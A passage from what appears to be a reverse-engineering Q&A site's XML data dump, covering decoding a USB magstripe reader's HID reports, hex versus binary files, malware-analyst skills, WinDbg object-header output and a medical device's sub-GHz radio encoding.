Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3349031721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349032680 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349032707 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349033685 C Ii:1:003:1 0:1 8 = 00001f00 00000000&#xA;ffff88008954e900 3349033713 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349034681 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349034707 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349035679 C Ii:1:003:1 0:1 8 = 00002400 00000000&#xA;ffff88008954e900 3349035706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349036676 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349036703 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349037690 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3349037718 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349038677 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349038703 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349039691 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3349039719 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349040677 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349040704 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349041692 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3349041720 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349042677 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349042704 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349043690 C Ii:1:003:1 0:1 8 = 02003800 00000000&#xA;ffff88008954e900 3349043721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349044684 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349044698 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349045681 C Ii:1:003:1 0:1 8 = 00005800 00000000&#xA;ffff88008954e900 3349045710 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349046682 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349046709 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the characters 'SINGH' (my last name) appear in the on-screen output, but I can't find those ASCII values anywhere in the data. How should I go about reverse engineering this device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Thanks to Igor's answer I got the Report Descriptors, but I'm not quite sure how to make use of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Report Descriptor: (length is 76)&#xA;    Item(Global): Usage Page, data= [ 0x01 ] 1&#xA;                    Generic Desktop Controls&#xA;    Item(Local ): Usage, data= [ 0x06 ] 6&#xA;                    Keyboard&#xA;    Item(Main  ): Collection, data= [ 0x01 ] 1&#xA;                    Application&#xA;    Item(Global): Usage Page, data= [ 0x07 ] 7&#xA;                    Keyboard&#xA;    Item(Local ): Usage Minimum, data= [ 0xe0 ] 224&#xA;                    Control Left&#xA;    Item(Local ): Usage Maximum, data= [ 0xe7 ] 231&#xA;                    GUI Right&#xA;    Item(Global): Logical Minimum, data= [ 0x00 ] 0&#xA;    Item(Global): Logical Maximum, data= [ 0x01 ] 1&#xA;    Item(Global): Report Size, data= [ 0x01 ] 1&#xA;    Item(Global): Report Count, data= [ 0x08 ] 8&#xA;    Item(Main  ): Input, data= [ 0x02 ] 2&#xA;                    Data Variable Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Bitfield&#xA;    Item(Global): Report Count, data= [ 0x01 ] 1&#xA;    Item(Global): Report Size, data= [ 0x08 ] 8&#xA;    Item(Main  ): Input, data= [ 0x03 ] 3&#xA;                    Constant Variable Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Bitfield&#xA;    Item(Global): Report Count, data= [ 0x05 ] 5&#xA;    Item(Global): Report Size, data= [ 0x01 ] 1&#xA;    Item(Global): Usage Page, data= [ 0x08 ] 8&#xA;                    LEDs&#xA;    Item(Local ): Usage Minimum, data= [ 0x01 ] 1&#xA;                    NumLock&#xA;    Item(Local ): Usage Maximum, data= [ 0x05 ] 5&#xA;                    Kana&#xA;    Item(Main  ): Output, data= [ 0x02 ] 2&#xA;                    Data Variable Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Bitfield&#xA;    Item(Global): Report Count, data= [ 0x01 ] 1&#xA;    Item(Global): Report Size, data= [ 0x03 ] 3&#xA;    Item(Main  ): Output, data= [ 0x03 ] 3&#xA;                    Constant Variable Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Bitfield&#xA;    Item(Global): Report Count, data= [ 0x06 ] 6&#xA;    Item(Global): Report Size, data= [ 0x08 ] 8&#xA;    Item(Global): Logical Minimum, data= [ 0x00 ] 0&#xA;    Item(Global): Logical Maximum, data= [ 0x66 ] 102&#xA;    Item(Global): Usage Page, data= [ 0x07 ] 7&#xA;                    Keyboard&#xA;    Item(Local ): Usage Minimum, data= [ 0x00 ] 0&#xA;                    No Event&#xA;    Item(Local ): Usage Maximum, data= [ 0x66 ] 102&#xA;                    Power (not a key)&#xA;    Item(Main  ): Input, data= [ 0x00 ] 0&#xA;                    Data Array Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Bitfield&#xA;    Item(Global): Logical Maximum, data= [ 0xff 0x00 ] 255&#xA;    Item(Global): Usage Page, data= [ 0x00 0xff ] 65280&#xA;                    (null)&#xA;    Item(Local ): Usage, data= [ 0x20 ] 32&#xA;                    (null)&#xA;    Item(Global): Report Count, data= [ 0x18 ] 24&#xA;    Item(Main  ): Feature, data= [ 0x02 0x01 ] 258&#xA;                    Data Variable Absolute No_Wrap Linear&#xA;                    Preferred_State No_Null_Position Non_Volatile Buffered Bytes&#xA;    Item(Main  ): End Collection, data=none&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3434" LastEditorUserId="3434" LastEditDate="2013-12-21T00:37:48.937" LastActivityDate="2013-12-21T00:37:48.937" Title="Reverse engineering a USB magstripe card reader" Tags="|usb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3238" PostTypeId="2" ParentId="3237" CreationDate="2013-12-20T23:11:29.410" Score="3" Body="&lt;p&gt;Since it uses HID class, you should probably check the &lt;a href=&quot;http://www.usb.org/developers/devclass_docs/HID1_11.pdf&quot; rel=&quot;nofollow&quot;&gt;USB HID Spec&lt;/a&gt; from USB.org. The relevant part seems to be the section 8, &quot;Report Protocol&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;8.1 Report Types&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;Reports contain data from one or more items. Data transfers are sent from the device to the host through the &lt;strong&gt;Interrupt In&lt;/strong&gt; pipe in the form of reports. Reports may also be requested (polled)&#xA;  and sent through the Control pipe or sent through an optional&#xA;  &lt;strong&gt;Interrupt Out&lt;/strong&gt; pipe. A report contains the state of all the items&#xA;  (Input, Output or Feature) belonging to a particular Report ID. The&#xA;  software application is responsible for extracting the individual&#xA;  items from the report based on the Report descriptor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Ii&lt;/code&gt; in the usbmon log refer to &quot;Interrupt In&quot;, so these are &quot;reports&quot; from the device. Looks like the changing bytes in the data packets (such as 22, 27, 1e, 1f) correspond to keyboard keys. It seems that to figure out the mapping you need to parse the &quot;Report Descriptor&quot;, which can be done by &lt;code&gt;lsusb&lt;/code&gt; if you &lt;a href=&quot;http://libusb.6.n5.nabble.com/How-to-dump-HID-report-descriptor-under-Linux-td5971.html&quot; rel=&quot;nofollow&quot;&gt;first detach the default driver&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-12-20T23:11:29.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3240" PostTypeId="5" CreationDate="2013-12-21T16:47:54.633" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T16:47:54.633" LastActivityDate="2013-12-21T16:47:54.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3241" PostTypeId="4" CreationDate="2013-12-21T16:47:54.633" Score="0" Body="Refer to any programs specifically designed to be a plugin of IDA Pro." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:12:33.173" LastActivityDate="2013-12-21T17:12:33.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3242" PostTypeId="5" CreationDate="2013-12-21T16:50:38.427" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T16:50:38.427" LastActivityDate="2013-12-21T16:50:38.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3243" PostTypeId="4" CreationDate="2013-12-21T16:50:38.427" Score="0" Body="Part of the computer used to store data and code. Can refer to questions about, both, live memory investigation and ROM investigation." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:12:35.987" LastActivityDate="2013-12-21T17:12:35.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3244" PostTypeId="5" CreationDate="2013-12-21T16:57:45.423" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T16:57:45.423" LastActivityDate="2013-12-21T16:57:45.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3245" PostTypeId="4" CreationDate="2013-12-21T16:57:45.423" Score="0" Body="A specific C language data-type construct which allow to declare a list of primitive types variables bound together in a single logical memory unit." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:12:38.563" LastActivityDate="2013-12-21T17:12:38.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3246" PostTypeId="5" CreationDate="2013-12-21T17:11:27.107" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T17:11:27.107" LastActivityDate="2013-12-21T17:11:27.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3247" PostTypeId="4" CreationDate="2013-12-21T17:11:27.107" Score="0" Body="A graphical stand-alone multipurpose debugger for Microsoft Windows, distributed on the web by Microsoft." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:12:40.830" LastActivityDate="2013-12-21T17:12:40.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3248" PostTypeId="5" CreationDate="2013-12-21T17:17:21.970" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T17:17:21.970" LastActivityDate="2013-12-21T17:17:21.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3249" PostTypeId="4" CreationDate="2013-12-21T17:17:21.970" Score="0" Body="A family of instruction set architectures based on a RISC architecture developed by British company ARM Holdings. Heavily used in embedded devices such as mobile phones, tablets, set-top boxes, ..." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:55:57.890" LastActivityDate="2013-12-21T17:55:57.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3250" PostTypeId="5" CreationDate="2013-12-21T17:19:57.043" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-21T17:19:57.043" LastActivityDate="2013-12-21T17:19:57.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3251" PostTypeId="4" CreationDate="2013-12-21T17:19:57.043" Score="0" Body="A classical programming bug that may lead to a possible security flaw in software. Exploitation of this bug is usually taking place either in the stack or in the heap." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T17:56:07.233" LastActivityDate="2013-12-21T17:56:07.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3252" PostTypeId="1" CreationDate="2013-12-21T19:42:17.007" Score="-5" ViewCount="1515" Body="&lt;p&gt;Upon checking out a binary file, &lt;a href=&quot;http://en.wikipedia.org/wiki/Binary_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;and according to convincing evidence&lt;/a&gt;, .bin file extensions are supposed to denote a file type which stores its data as 0s and 1s, or 31/32 in ASCII hex(ASCII character codes for 1 and 0). Upon entering a file I noticed that it doesn't just store 0s and 1s:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vRh5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first sixteen bytes fall within a possible 8-bit value (range: 0-256), which makes sense since each value is a byte. But my questioning is, since it's called &quot;bin&quot;, why does it store values like every other file? What is the difference? The values are not 1s and 0s, but values falling anywhere between 0-256 per byte. That doesn't add up to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it called a binary file when it stores byte-ranged values the same as any other file would? How is a bin different than a jpeg? &lt;/p&gt;&#xA;" OwnerUserId="3437" LastActivityDate="2013-12-21T20:18:31.013" Title="Bin file is not only storing 0s and 1s, ASCII or otherwise" Tags="|binary-analysis|encodings|hex|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3253" PostTypeId="2" ParentId="3252" CreationDate="2013-12-21T19:56:31.143" Score="9" Body="&lt;p&gt;From the Wikipedia article to which you linked:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A binary file is a computer file that is not a text file; it may&#xA;  contain any type of data, encoded in binary form for computer storage&#xA;  and processing purposes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what you're seeing in your screenshot above, but the hex editor you're using is displaying binary data (&lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s) in hexadecimal form to make it more readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Hexadecimal&quot;&gt;http://en.wikipedia.org/wiki/Hexadecimal&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the primary use of hexadecimal notation is a human-friendly&#xA;  representation of binary-coded values in computing and digital&#xA;  electronics&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you prefer, you can use a hex editor like &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot;&gt;010 Editor&lt;/a&gt; which will happily show you the content of the file as &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s instead of in hexademical format (&lt;code&gt;View --&amp;gt; Edit As --&amp;gt; Binary&lt;/code&gt; in the program's menu bar).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-21T19:56:31.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3254" PostTypeId="2" ParentId="3252" CreationDate="2013-12-21T20:18:31.013" Score="6" Body="&lt;p&gt;It seems you're new to Hex. You can think of Hex as a compact form for binary. The following table might help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 hex is 0000 binary&#xA;1 hex is 0001 binary&#xA;2 hex is 0010 binary&#xA;3 hex is 0011 binary&#xA;4 hex is 0100 binary&#xA;5 hex is 0101 binary&#xA;6 hex is 0110 binary&#xA;7 hex is 0111 binary&#xA;8 hex is 1000 binary&#xA;9 hex is 1001 binary&#xA;a hex is 1010 binary&#xA;b hex is 1011 binary&#xA;c hex is 1100 binary&#xA;d hex is 1101 binary&#xA;e hex is 1110 binary&#xA;f hex is 1111 binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2013-12-21T20:18:31.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3255" PostTypeId="5" CreationDate="2013-12-22T08:14:11.717" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T08:14:11.717" LastActivityDate="2013-12-22T08:14:11.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3256" PostTypeId="4" CreationDate="2013-12-22T08:14:11.717" Score="0" Body="Format in which is visualized the memory content or the variables while memory inspection. Hexadecimal (or 'hex') represents integers in base 16 (with digits taken within `0`-`9` and `a`-`f`)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-22T09:07:21.607" LastActivityDate="2013-12-22T09:07:21.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3257" PostTypeId="5" CreationDate="2013-12-22T12:31:28.470" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T12:31:28.470" LastActivityDate="2013-12-22T12:31:28.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3258" PostTypeId="4" CreationDate="2013-12-22T12:31:28.470" Score="0" Body="Refer to devices with scarcity of resources (energy, memory, cpu power, ...). It gather any consumer electronics (radio receivers, television sets, MP3 players, video recorders, DVD players, digital cameras, camcorders, personal computers, video game consoles, telephones and mobile phones, tablets)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-22T12:46:14.050" LastActivityDate="2013-12-22T12:46:14.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3259" PostTypeId="5" CreationDate="2013-12-22T12:33:12.647" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-22T12:33:12.647" LastActivityDate="2013-12-22T12:33:12.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3260" PostTypeId="4" CreationDate="2013-12-22T12:33:12.647" Score="0" Body="Software used to revert the process of compilation. Decompiler takes a binary program file as input and output the same program expressed in a structured higher-level language." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-22T12:45:59.673" LastActivityDate="2013-12-22T12:45:59.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3261" PostTypeId="1" AcceptedAnswerId="3262" CreationDate="2013-12-22T16:17:18.743" Score="5" ViewCount="4175" Body="&lt;p&gt;I am a C/C++ developer and I have started learning assembly language programming with the goal to become a malware analyst. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is not enough to just know how to read assembly to become a malware analyst. But won't it help a lot and make the remaining things easier?&lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorDisplayName="user3443" LastEditDate="2013-12-22T18:06:21.647" LastActivityDate="2013-12-23T15:34:54.707" Title="Is learning assembly enough to become a malware analyst?" Tags="|malware|assembly|binary-analysis|vulnerability-analysis|" AnswerCount="3" CommentCount="5" ClosedDate="2013-12-25T17:06:08.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="3262" PostTypeId="2" ParentId="3261" CreationDate="2013-12-22T17:01:34.970" Score="14" Body="&lt;p&gt;To be a malware analyst, the minimum knowledge typically needed is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assembly language&lt;/li&gt;&#xA;&lt;li&gt;Operating system internals&lt;/li&gt;&#xA;&lt;li&gt;Deobfuscation and anti-anti-debugging techniques&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously, there are other useful areas of knowledge for malware analysis (like an understanding of network protocols, exploit analysis techniques, knowledge of VB P-code and JavaScript and .NET languages, etc.), but it looks like you're making progress ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the things you'll need to know you'll learn along the way. For example, you may come across a malware sample that exploits Adobe Flash player. This will give you the opportunity to learn about the SWF file format, ActionScript source and bytecode, etc.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-22T17:01:34.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3264" PostTypeId="2" ParentId="3233" CreationDate="2013-12-23T05:16:12.410" Score="2" Body="&lt;p&gt;From what I remember, both XP and Win7 always had this format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;object_directory_followed&lt;/code&gt; by &lt;code&gt;object_header&lt;/code&gt; whose &lt;code&gt;_QUAD&lt;/code&gt; part (opaque do not use this field) points to the &lt;code&gt;OBJECT&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did &lt;code&gt;dt nt!_Object_header_name_info &amp;lt;address of object&amp;gt; - 0x28&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !devobj \Device\Beep;dt nt!_OBJECT_HEADER_NAME_INFO 86884db8-28&#xA;Device object (86884db8) is for:&#xA; Beep \Driver\Beep DriverObject 86e703b8&#xA;Current Irp 00000000 RefCount 0 Type 00000001 Flags 00000044&#xA;Dacl e1020c34 DevExt 86884e70 DevObjExt 86884ec8 &#xA;ExtensionFlags (0000000000)  &#xA;Device queue is not busy.&#xA;   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY&#xA;   +0x004 Name             : _UNICODE_STRING &quot;Beep&quot;&#xA;   +0x00c QueryReferences  : 1&#xA;kd&amp;gt; !devobj \Device\00000013&#xA;Device object (86fe7cd0) is for:&#xA; 00000013 \Driver\PnpManager DriverObject 86fe9328&#xA;Current Irp 00000000 RefCount 0 Type 00000004 Flags 00001040&#xA;Dacl e1020c34 DevExt 86fe7d88 DevObjExt 86fe7d90 DevNode 86fe7b88 &#xA;ExtensionFlags (0x00000010)  DOE_START_PENDING&#xA;Device queue is not busy.&#xA;kd&amp;gt; dt nt!_OBJECT_HEADER_NAME_INFO 86fe7cd0-28&#xA;   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY&#xA;   +0x004 Name             : _UNICODE_STRING &quot;00000013&quot;&#xA;   +0x00c QueryReferences  : 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3448" LastEditorUserId="188" LastEditDate="2013-12-23T16:16:32.967" LastActivityDate="2013-12-23T16:16:32.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3265" PostTypeId="2" ParentId="3261" CreationDate="2013-12-23T12:35:18.247" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://computer-forensics.sans.org/blog/2010/10/11/3-phases-malware-analysis-behavioral-code-memory-forensics/&quot; rel=&quot;nofollow&quot;&gt;FROM SANS.ORG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When discussing malware analysis, There is 3 main phases of the process: behavioral analysis, code analysis and memory analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a brief outline of each phase:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Behavioral analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;examines the malware specimen's interactions with its environment: the file system, the registry (if on Windows), the network, as well as other processes and OS components. As the malware investigator notices interesting behavioral characteristics, he modifies the laboratory environment to evoke newcharacteristics. To perform this work, theinvestigatortypically infects the isolated system while having the necessary monitoring tools observe the specimen's execution. Some of the free tools that can help in this analysis phase are Process Monitor, Process Explorer, RegShot and Wireshark. Several free on-line tools can automate some aspects of behavioral analysis; there are also several free frameworks you can use to script the analysis process in a local lab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reverse-engineers the malicious program to understand the code that implements the specimen's behavior. When looking at compiled programs, this process involves using a disassembler, a debugger and, perhaps, a decompiler to examine the program's low-level assembly or byte-code instructions.A disassembler converts the instructions from their binary form into the human-readable assembly form. A decompiler attempts to recreate the original source code of the program. A debugger lets the analyst step through the most interesting parts of the code, interacting with it and observing the effects of its instructions to understand their purpose. OllyDbg and IDA Pro Freeware are popular free disassembler/debuggers that can handle Windows programs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;examines memory of the infected system to extract artifacts relevant to the malicious program. In the context of reverse-engineering malware, memory analysis can help identify malicious code that is trying to hide itself (i.e., rootkits), can clarify the program's run-time dependencies, and can explain how the specimen was used on the victim's system. Memory analysis saves time and allows theinvestigatorto take shortcuts when studying the specimen's behavior or code. Free tools for performing memory analysis are The Volatility Framework and its malware-related plugins, as well as Memoryze and the associated Audit Viewer program.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I Hope this would be an added Value to the above response&lt;/p&gt;&#xA;" OwnerUserId="3334" LastActivityDate="2013-12-23T12:35:18.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3267" PostTypeId="1" CreationDate="2013-12-23T13:43:47.943" Score="3" ViewCount="394" Body="&lt;p&gt;I have a usb stick that communicates with a medical device.  I am attempting to decode the communication. I have figured out the basic radio parameters (916.5MHz, ook, bit rate, preamble, sync words), but there is still some encoding I haven't figured out yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can give the USB stick different destination device ids, and can see segments of the short (~12bytes) packet change. In fact, for each character of the 6-digit device id, I see 6 bits change in the packet, with a consistent mapping as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;010101&quot; =&amp;gt; &quot;0&quot;,&#xA;&quot;110001&quot; =&amp;gt; &quot;1&quot;,&#xA;&quot;110010&quot; =&amp;gt; &quot;2&quot;,&#xA;&quot;100011&quot; =&amp;gt; &quot;3&quot;,&#xA;&quot;110100&quot; =&amp;gt; &quot;4&quot;,&#xA;&quot;100101&quot; =&amp;gt; &quot;5&quot;,&#xA;&quot;100110&quot; =&amp;gt; &quot;6&quot;,&#xA;&quot;010110&quot; =&amp;gt; &quot;7&quot;,&#xA;&quot;011010&quot; =&amp;gt; &quot;8&quot;,&#xA;&quot;011001&quot; =&amp;gt; &quot;9&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So device id 123456 is encoded as &quot;110001110010100011110100100101100110&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other 6-bit sequences I see in the data as well, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;001011 =&amp;gt; ?&#xA;001101 =&amp;gt; ?&#xA;101010 =&amp;gt; ?&#xA;101100 =&amp;gt; ?&#xA;011100 =&amp;gt; ? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second bit in each code seems to be a parity bit for the remaining 5 bits. The first bit seems special in some way as well, but I haven't figured it out.  The four bits on the right are standard binary encoding for values 1-6. Those values also have the first bit set, which makes me think that when the first bit is not set, it turns on some alternate encoding for the right four bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3450" LastEditorUserId="3450" LastEditDate="2013-12-23T16:07:18.397" LastActivityDate="2015-08-07T19:33:17.273" Title="sub-ghz radio encoding 6 bits" Tags="|encodings|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3268" PostTypeId="5" CreationDate="2013-12-23T15:19:33.610" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-23T15:19:33.610" LastActivityDate="2013-12-23T15:19:33.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3269" PostTypeId="4" CreationDate="2013-12-23T15:19:33.610" Score="0" Body="A mapping of a given code to values or semantics. Guessing the meaning of an encoding requires a lot of trials but some encoding are standard and can be guessed quite easily." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-23T16:14:51.490" LastActivityDate="2013-12-23T16:14:51.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3270" PostTypeId="5" CreationDate="2013-12-23T15:32:04.850" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-23T15:32:04.850" LastActivityDate="2013-12-23T15:32:04.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3271" PostTypeId="4" CreationDate="2013-12-23T15:32:04.850" Score="0" Body="Extra information added to help for debugging purpose. It gathers information about each variable, type, procedure, etc, and link the assembly code to source code. Usual debugging-symbols formats includes DWARF, stabs, PDB ..." OwnerUserId="53" LastEditorUserId="188" LastEditDate="2013-12-23T16:14:34.770" LastActivityDate="2013-12-23T16:14:34.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
